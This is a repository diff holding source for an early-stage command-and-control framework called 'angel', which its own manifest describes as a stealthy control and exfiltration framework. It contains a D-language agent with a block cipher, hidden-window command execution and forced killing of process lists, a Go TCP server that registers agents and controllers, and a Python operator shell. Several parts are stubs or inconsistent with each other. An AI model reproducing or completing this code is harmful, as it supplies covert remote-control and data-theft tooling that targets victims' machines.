[25, 29, 39, 43],
[8 , 35, 56, 22]
];
// Твик-значение (свободный параметр алгоритма)
ulong[3] t;
// Раундовые ключи
ulong[8][Ns + 1] subKeys;
auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y)
{
y[0] = x[0] + x[1];
y[1] = (x[1] << r) | (x[1] >> (64 - r));
y[1] ^= y[0];
}
auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x)
{
y[1] ^= y[0];
x[1] = (y[1] << (64 - r)) | (y[1] >> r);
x[0] = y[0] - x[1];
}
alias _mod8 = (ulong a) => a & 7UL;
}
/// Шифрование блока
/// plain - указатель на блок для шифрования, c - массив-приемник результата
void crypt(ulong* plainData, ulong* c) @system
{
ulong[8] f;
ulong[8] e;
ulong[2] y;
ulong[2] x;
ulong[8] v;
uint i;
memcpy (&v[0], plainData, 64);
for (uint round = 0; round < Nr; round++)
{
if (round % 4 == 0)
{
uint s = round >> 2;
for (i = 0; i < Nw; i++)
{
e[i] = v[i] + subKeys[s][i];
}
}
else
{
for (i = 0; i < Nw; i++)
{
e[i] = v[i];
}
}
for (i = 0; i < Nw / 2; i++)
{
x[0] = e[i * 2];
x[1] = e[i * 2 + 1];
_mix(x, r[cast(uint) _mod8(round)][i], y);
f[i * 2] = y[0];
f[i * 2 + 1] = y[1];
}
for (i = 0; i < Nw; i++)
{
v[i] = f[p[i]];
}
}
for (i = 0; i < Nw; i++)
{
c[i] = v[i] + subKeys[Ns][i];
}
}
/// Шифрование блока (безопасная версия)
/// plain - массив с данными блока
auto crypt(ulong[8] plainData)
{
ulong[8] c = 0;
crypt(plainData.ptr, c.ptr);
return c;
}
/// Дешифрование блока
/// plain - указатель на блок для дешифрования, c - массив-приемник результата
void decrypt(ulong* plainData, ulong* c) @system
{
ulong[8] f;
ulong[8] e;
ulong[2] y;
ulong[2] x;
ulong[8] v;
uint i;
memcpy(&v[0], plainData, 64);
for (uint round = Nr; round > 0; round--)
{
if (round % 4 == 0)
{
uint s = round >> 2;
for (i = 0; i < Nw; i++)
{
f[i] = v[i] - subKeys[s][i];
}
}
else
{
for (i = 0; i < Nw; i++)
{
f[i] = v[i];
}
}
for (i = 0; i < Nw; i++)
{
e[i] = f[p_1[i]];
}
for (i = 0; i < Nw / 2; i++)
{
y[0] = e[i * 2];
y[1] = e[i * 2 + 1];
_demix(y, r[cast(uint) _mod8(round - 1)][i], x);
v[i * 2] = x[0];
v[i * 2 + 1] = x[1];
}
}
for (i = 0; i < Nw; i++)
{
c[i] = v[i] - subKeys[0][i];
}
}
/// Дешифрование блока (безопасная версия)
/// plain - массив с данными блока
auto decrypt(ulong[8] plain)
{
ulong[8] c = 0;
decrypt(plain.ptr, c.ptr);
return c;
}
/// Подготовка раундовых ключей
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
void setup(ulong* keyData, ulong* tweakData) @system
{
uint i;
ulong[8] K;
ulong[2] T;
ulong[9] key;
// C240 constant
ulong kNw = 0x1BD11BDAA9FC1A22;
memcpy(&K[0], &keyData[0], 64);
memcpy(&T[0], &tweakData[0], 16);
for (i = 0; i < Nw; i++)
{
kNw ^= K[i];
key[i] = K[i];
}
key[8] = kNw;
t[0] = T[0];
t[1] = T[1];
t[2] = T[0] ^ T[1];
for (uint round = 0; round <= Ns; round++)
{
for (i = 0; i < Nw; i++)
{
subKeys[round][i] = key[(round + i) % (Nw + 1)];
if (i == Nw - 3)
{
subKeys[round][i] += t[round % 3];
}
else if (i == Nw - 2)
{
subKeys[round][i] += t[(round + 1) % 3];
}
else if (i == Nw - 1)
{
subKeys[round][i] += round;
}
}
}
}
/// Подготовка раундовых ключей (безопасная версия)
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
void setup(ulong[8] keyData, ulong[2] tweakData)
{
setup(keyData.ptr, tweakData.ptr);
}
public static ulong[8] generateKey()
{
ulong[8] key;
auto rng = Random(unpredictableSeed);
foreach (i; 0 .. 8)
{
key[i] = uniform!ulong(rng);
}
return key;
}
public static ulong[2] generateTweak()
{
ulong[2] tweak;
auto rng = Random(unpredictableSeed);
foreach (i; 0 .. 2)
{
tweak[i] = uniform!ulong(rng);
}
return tweak;
}
}

View File

@@ -0,0 +1,109 @@
module angel.utils.cryptography.utils;
import core.vararg;
import std.traits;
import std.algorithm;
/// TODO: neat variadic implementation of `wipe()`
/// Clears data in memory.
@safe @nogc nothrow
void wipe(T)(ref T t) {
static if(is(typeof(cast (ubyte[]) t))) {
ubyte[] bytes = cast(ubyte[]) t;
bytes[] = 0;
if(!all!"a == 0"(bytes[])) {
// This should not get optimized away.
assert(false, "Wiping failed.");
}
} else static if ( is(typeof( {T a = T.init;} ))) {
t = T.init;
if(t != T.init) {
// This should not get optimized away.
assert(false, "Wiping failed.");
}
} else {
static assert(false, "Type not supported for wiping: " ~ T.stringof);
}
}
@safe @nogc nothrow
void wipe(T...)(ref T ts) {
foreach(ref t; ts) {
wipe(t);
}
}
// test static arrays
unittest {
ubyte[4] buf1 = [1,2,3,4];
uint[4] buf2 = [1,2,3,4];
size_t[4] buf3 = [1,2,3,4];
wipe(buf1);
wipe(buf2);
wipe(buf3);
assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[].");
}
// test dynamic arrays
unittest {
ubyte[] buf1 = [1,2,3,4];
uint[] buf2 = [1,2,3,4];
size_t[] buf3 = [1,2,3,4];
wipe(buf1, buf2, buf3);
assert(all!"a == 0"(buf1), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf2), "Failed to wipe ubyte[].");
assert(all!"a == 0"(buf3), "Failed to wipe ubyte[].");
}
unittest {
int a = 42;
int b = 84;
ubyte c = 1;
wipe(a, b, c);
assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!");
}
/// Compares a and b in constant time.
///
/// Returns: 0 if a == b, some other value if a != b.
bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc
in {
assert(a.length == b.length, "Unequal length.");
} body {
T result = 0;
size_t i = 0;
while(i < a.length) {
result |= a[i] ^ b[i];
++i;
}
if(i != a.length) {
// Just to be sure that the compiler optimization does not destroy const time.
assert(false);
}
return result == 0;
}
// test crypto_equals
unittest {
ubyte[32] f = 0;
immutable ubyte[32] zero = 0;
assert(crypto_equals(f[], zero[]));
f[8] = 1;
assert(!crypto_equals(f[], zero[]));
}

View File

@@ -0,0 +1,14 @@
module angel.utils.init;
// Internal imports
import angel.utils.constants;
import angel.utils.logging;
// External imports
import std.stdio;
import std.file;
void init() {
if (!exists(Constants.workdir)) {
mkdir(Constants.workdir);
}
}

View File

@@ -0,0 +1,58 @@
module angel.utils.logging;
// Internal imports
import angel.config : config;
import angel.utils.constants;
// External imports
import std.stdio;
import std.datetime;
import std.file;
import std.format;
import std.string;
enum LogLevel {
Debug,
Event,
Warning,
Error
}
class Logger {
private static string getTimestamp() {
auto now = Clock.currTime();
return format!"%04d-%02d-%02d %02d:%02d:%02d"(
now.year, now.month, now.day,
now.hour, now.minute, now.second
);
}
private static string getLogSymbol(LogLevel level) {
switch (level) {
case LogLevel.Debug: return "[*]";
case LogLevel.Event: return "[i]";
case LogLevel.Warning: return "[!]";
case LogLevel.Error: return "[E]";
default: return "[?]";
}
}
private static void writeToFile(string message) {
auto file = File(Constants.logFilePath, "a");
file.write(message ~ "\n");
file.close();
}
public static void log(LogLevel level, string message) {
auto timestamp = getTimestamp();
auto symbol = getLogSymbol(level);
auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message;
writeToFile(logMessage);
if (level == LogLevel.Debug && !config.debug_mode) {
return;
} else {
writeln(logMessage);
}
}
}

View File

@@ -0,0 +1,81 @@
module angel.utils.utils;
// Internal imports
import angel.utils.logging;
// External imports
import std.stdio;
import std.process;
import std.format;
import core.thread.osthread;
import core.sys.windows.windows;
import std.conv : to;
import std.range;
import std.array;
import std.string;
import std.random;
class Utils {
public static string generateRandomString(size_t length) {
string characters = "0123456789abcdefghijklmnopqrstuvwxyz";
auto rnd = Random();
auto randomChars = generate(() => characters[uniform(0, characters.length, rnd)]).take(length).array;
return to!string(randomChars);
}
public static void execute(string command) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
si.cb = STARTUPINFO.sizeof;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (!CreateProcessA(
null,
cast(char*)command.ptr,
null,
null,
false,
0,
null,
null,
&si,
&pi
)) {
Logger.log(LogLevel.Error, format("Failed to create proc: %s", GetLastError()));
return;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
private static void dieproc(string proc_name) {
Logger.log(LogLevel.Debug, format("Attempting to kill proc: %s", proc_name));
string command = format("cmd.exe /C taskkill /F /IM \"%s\"", proc_name);
execute(command);
}
public static void killproc(string[] ulist) {
Logger.log(LogLevel.Debug, format("Attempting to kill procs: %s", ulist));
Thread[] threads;
foreach (proc; ulist) {
auto t = new Thread(() => dieproc(proc));
threads ~= t;
t.start();
continue;
}
foreach (t; threads) {
joinLowLevelThread(t.id);
}
Logger.log(LogLevel.Debug, "All procs killed.");
}
}

View File

5
vv1/agent/dev.txt Normal file
View File

@@ -0,0 +1,5 @@
dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force
gdi32, user32
"alwaysStackFrame","betterC","syntaxOnly",

25
vv1/agent/dub.json Normal file
View File

@@ -0,0 +1,25 @@
{
"authors": ["k0"],
"version": "1.0.0",
"copyright": "Copyright © 2024, k0",
"description": "Versatile stealthy control and exfiltration framework",
"license": "MIT",
"name": "angel",
"targetType": "executable",
"targetPath": "bin",
"sourcePaths": ["angel"],
"mainSourceFile": "angel/angel.d",
"libs-windows": ["crypt32"],
"libs-posix": [],
"copyFiles": ["../LICENSE.txt"],
"copyFiles-windows-x86": ["libs/win32/*.dll"],
"extraDependencyFiles": ["libs/crypto/*"],
"buildOptions": [
"noBoundsCheck",
"releaseMode",
"inline",
"optimize",
"warnings",
"lowmem"
]
}

18
vv1/server/conn/agent.go Normal file
View File

@@ -0,0 +1,18 @@
package conn
import (
"angel_server/consts"
"angel_server/cryptmeow"
"log/slog"
"net"
)
func agent_impl(conn net.Conn, layer_id int) {
var publicKey, _ [32]byte = cryptmeow.Gen_keypair()
_, err := conn.Write(publicKey[:])
if err != nil {
consts.Logger.Error("failed to send public key", slog.String("error", err.Error()))
return
}
}

43
vv1/server/conn/conn.go Normal file
View File

@@ -0,0 +1,43 @@
package conn
import (
"angel_server/consts"
"angel_server/extra"
"fmt"
"log/slog"
"net"
"os"
"os/signal"
"syscall"
)
func Start_serv() {
consts.Logger.Info("Starting tcp listener...")
ln, err := net.Listen("tcp", fmt.Sprintf(":%d", extra.Port))
if err != nil {
consts.Logger.Error("Error occurred during server start:", slog.Any("error", err))
return
}
defer ln.Close()
stop := make(chan os.Signal, 1)
signal.Notify(stop, os.Interrupt, syscall.SIGTERM)
go func() {
<-stop
consts.Logger.Info("Shutting down server...")
ln.Close()
os.Exit(0)
}()
for {
conn, err := ln.Accept()
if err != nil {
consts.Logger.Error("Error accepting connection:", slog.Any("error", err))
continue
}
go handleConnection(conn)
}
}

View File

@@ -0,0 +1,7 @@
package conn
import "net"
func controller_impl(conn net.Conn) {
}

View File

@@ -0,0 +1,36 @@
package conn
import (
"angel_server/consts"
"angel_server/db"
"bytes"
"log/slog"
"net"
"strconv"
)
func handleConnection(conn net.Conn) {
defer conn.Close()
consts.Logger.Info("Received conn", slog.String("remote", conn.RemoteAddr().String()))
role := make([]byte, 8)
n, err := conn.Read(role)
if err != nil {
consts.Logger.Error("Failed to read role", slog.String("error", err.Error()))
return
}
layer_id := string(bytes.TrimSpace(role[:n]))
consts.Logger.Debug(layer_id)
int_meow, _ := strconv.Atoi(layer_id)
if (int_meow == 0) {
controller_impl(conn)
} else if (db.CheckLayer(consts.Db, int_meow)) {
agent_impl(conn, int_meow)
} else {
conn.Close()
}
consts.Logger.Info("Lost conn", slog.String("remote", conn.RemoteAddr().String()))
}

View File

@@ -0,0 +1,11 @@
package consts
import (
"angel_server/logging"
"database/sql"
)
var Logger = logging.GetLogger()
var Db *sql.DB

View File

@@ -0,0 +1,23 @@
package cryptmeow
import (
"angel_server/consts"
"crypto/rand"
"golang.org/x/crypto/curve25519"
)
func Gen_keypair() (publicKey [32]byte, privateKey [32]byte) {
consts.Logger.Warn("Generating ephemeral keys for SSH authetification.")
_, err := rand.Read(privateKey[:])
if err != nil {
consts.Logger.Error("Failed to generate private key: " + err.Error())
}
curve25519.ScalarBaseMult(&publicKey, &privateKey)
return publicKey, privateKey
}
var ControllerPublicKey, ControllerPrivateKey [32]byte = Gen_keypair()

22
vv1/server/db/database.go Normal file
View File

@@ -0,0 +1,22 @@
package db
import (
"angel_server/consts"
"database/sql"
"log"
_ "github.com/mattn/go-sqlite3"
)
func CheckLayer(db *sql.DB, layerID int) bool {
var exists bool
query := `SELECT EXISTS(SELECT 1 FROM layers WHERE layer_id = ?);`
err := consts.Db.QueryRow(query, layerID).Scan(&exists)
if err != nil {
log.Fatal(err)
}
return exists
}

3
vv1/server/extra/conf.go Normal file
View File

@@ -0,0 +1,3 @@
package extra
var Port int = 8080

48
vv1/server/extra/extra.go Normal file
View File

@@ -0,0 +1,48 @@
package extra
import (
"angel_server/consts"
"angel_server/cryptmeow"
"database/sql"
"fmt"
"log"
_ "github.com/mattn/go-sqlite3"
)
func Init() {
consts.Logger.Warn("Welcome to angel net! To autheticate as the admin controller of the net, you'll need to use the following key via the ssh shell")
consts.Logger.Warn(fmt.Sprintf("%d", cryptmeow.ControllerPublicKey[:]))
var err error
consts.Db, err = sql.Open("sqlite3", "../angel_db.sqlite3")
if err != nil {
log.Fatal(err)
}
defer consts.Db.Close()
createTableSQL := `
CREATE TABLE IF NOT EXISTS layers (
layer_id INTEGER NOT NULL CHECK(layer_id >= 0 AND layer_id <= 8),
public_key BLOB NOT NULL CHECK(LENGTH(public_key) = 32),
secret_key BLOB NOT NULL CHECK(LENGTH(secret_key) = 32),
PRIMARY KEY (layer_id)
);`
_, err = consts.Db.Exec(createTableSQL)
if err != nil {
log.Fatal(err)
}
var array_pk, array_sk []byte
copy(array_pk, cryptmeow.ControllerPublicKey[:])
copy(array_sk, cryptmeow.ControllerPrivateKey[:])
insertSQL := `INSERT OR IGNORE INTO layers (layer_id, public_key, secret_key) VALUES (?, ?, ?);`
_, err = consts.Db.Exec(insertSQL, 0, array_pk, array_sk)
if err != nil {
log.Fatal(err)
}
consts.Logger.Info("Database initialized and 'layers' table created successfully! Admin/controller handler has been added.")
}

8
vv1/server/go.mod Normal file
View File

@@ -0,0 +1,8 @@
module angel_server
go 1.23.3
require (
github.com/mattn/go-sqlite3 v1.14.24 // indirect
golang.org/x/crypto v0.32.0 // indirect
)

4
vv1/server/go.sum Normal file
View File

@@ -0,0 +1,4 @@
github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=

View File

@@ -0,0 +1,69 @@
package logging
import (
"context"
"log/slog"
"os"
)
var Logger *slog.Logger
type MultiHandler struct {
handlers []slog.Handler
}
func (m *MultiHandler) Enabled(ctx context.Context, level slog.Level) bool {
for _, h := range m.handlers {
if h.Enabled(ctx, level) {
return true
}
}
return false
}
func (m *MultiHandler) Handle(ctx context.Context, record slog.Record) error {
for _, h := range m.handlers {
_ = h.Handle(ctx, record)
}
return nil
}
func (m *MultiHandler) WithAttrs(attrs []slog.Attr) slog.Handler {
newHandlers := make([]slog.Handler, len(m.handlers))
for i, h := range m.handlers {
newHandlers[i] = h.WithAttrs(attrs)
}
return &MultiHandler{handlers: newHandlers}
}
func (m *MultiHandler) WithGroup(name string) slog.Handler {
newHandlers := make([]slog.Handler, len(m.handlers))
for i, h := range m.handlers {
newHandlers[i] = h.WithGroup(name)
}
return &MultiHandler{handlers: newHandlers}
}
func InitLogger() {
logFile, err := os.OpenFile("../angel_api-server.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
slog.Default().Error("Error opening log file", "error", err)
return
}
fileHandler := slog.NewJSONHandler(logFile, &slog.HandlerOptions{Level: slog.LevelDebug})
consoleHandler := slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})
multiHandler := &MultiHandler{handlers: []slog.Handler{fileHandler, consoleHandler}}
Logger = slog.New(multiHandler)
slog.SetDefault(Logger)
}
func GetLogger() *slog.Logger {
if Logger == nil {
InitLogger()
}
return Logger
}

13
vv1/server/main.go Normal file
View File

@@ -0,0 +1,13 @@
package main
import (
"angel_server/conn"
"angel_server/extra"
"angel_server/logging"
)
func main() {
logging.InitLogger()
extra.Init()
conn.Start_serv()
}

2
vv1/ssh/config.py Normal file
View File

@@ -0,0 +1,2 @@
class Config:
serv_url: str = "127.0.0.1:7775"

17
vv1/ssh/constants.py Normal file
View File

@@ -0,0 +1,17 @@
class Consts:
banner: str = """
_
\`*-.
) _`-.
. : `. .
: _ ' \
; *` _. `*-._
`-.-' `-.
; ` `.
:. . \
. \ . : .-' .
' `+.; ; ' :
: ' | ; ;-.
; ' : :`-: _.`* ;
[bug] .*' / .*' ; .*`- +' `*'
`*-* `*-* `*-*'"""

24
vv1/ssh/main.py Normal file
View File

@@ -0,0 +1,24 @@
import base64
from utils.logger import *
from utils.conn import *
from utils.mod import *
from constants import *
__name__ = "AngelC2"
__version__ = "0.1.0"
__authors__ = "hk21"
class Angel:
def __init__(self):
Logger()
Utils.clear_shell()
print(Consts.banner)
log.info("welc to angel net shell, fellow kitten!")
Conn()
if __name__ == base64.b64decode(b"QW5nZWxDMg==").decode("utf-8"):
Angel()

18
vv1/ssh/utils/conn.py Normal file
View File

@@ -0,0 +1,18 @@
import socket
from utils.logger import *
from config import *
class Conn:
def __init__(self):
log.info("Attempting to connect...")
self.connect()
def connect(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as self.s:
ip, port = Config.serv_url.split(":")
self.s.connect((ip, int(port)))
self.s.sendall("cont".encode("utf-8"))
data = self.s.recv(1024)
log.warning(data.decode("utf-8"))

18
vv1/ssh/utils/logger.py Normal file
View File

@@ -0,0 +1,18 @@
import logging
log = logging.getLogger(__name__)
class Logger:
def __init__(self):
logging.basicConfig(
format="%(levelname)s:%(asctime)s - %(message)s",
datefmt="%m/%d/%Y %I:%M:%S %p",
)
log.setLevel(logging.INFO)
form = logging.Formatter(
"%(levelname)s:%(asctime)s - %(message)s", datefmt="%m/%d/%Y %I:%M:%S %p"
)
file_handler = logging.FileHandler("angel.log")
file_handler.setFormatter(form)
log.addHandler(file_handler)

11
vv1/ssh/utils/mod.py Normal file
View File

@@ -0,0 +1,11 @@
import os
from sys import platform
class Utils:
@staticmethod
def clear_shell():
if platform == "win32":
os.system("cls")
else:
os.system("clear")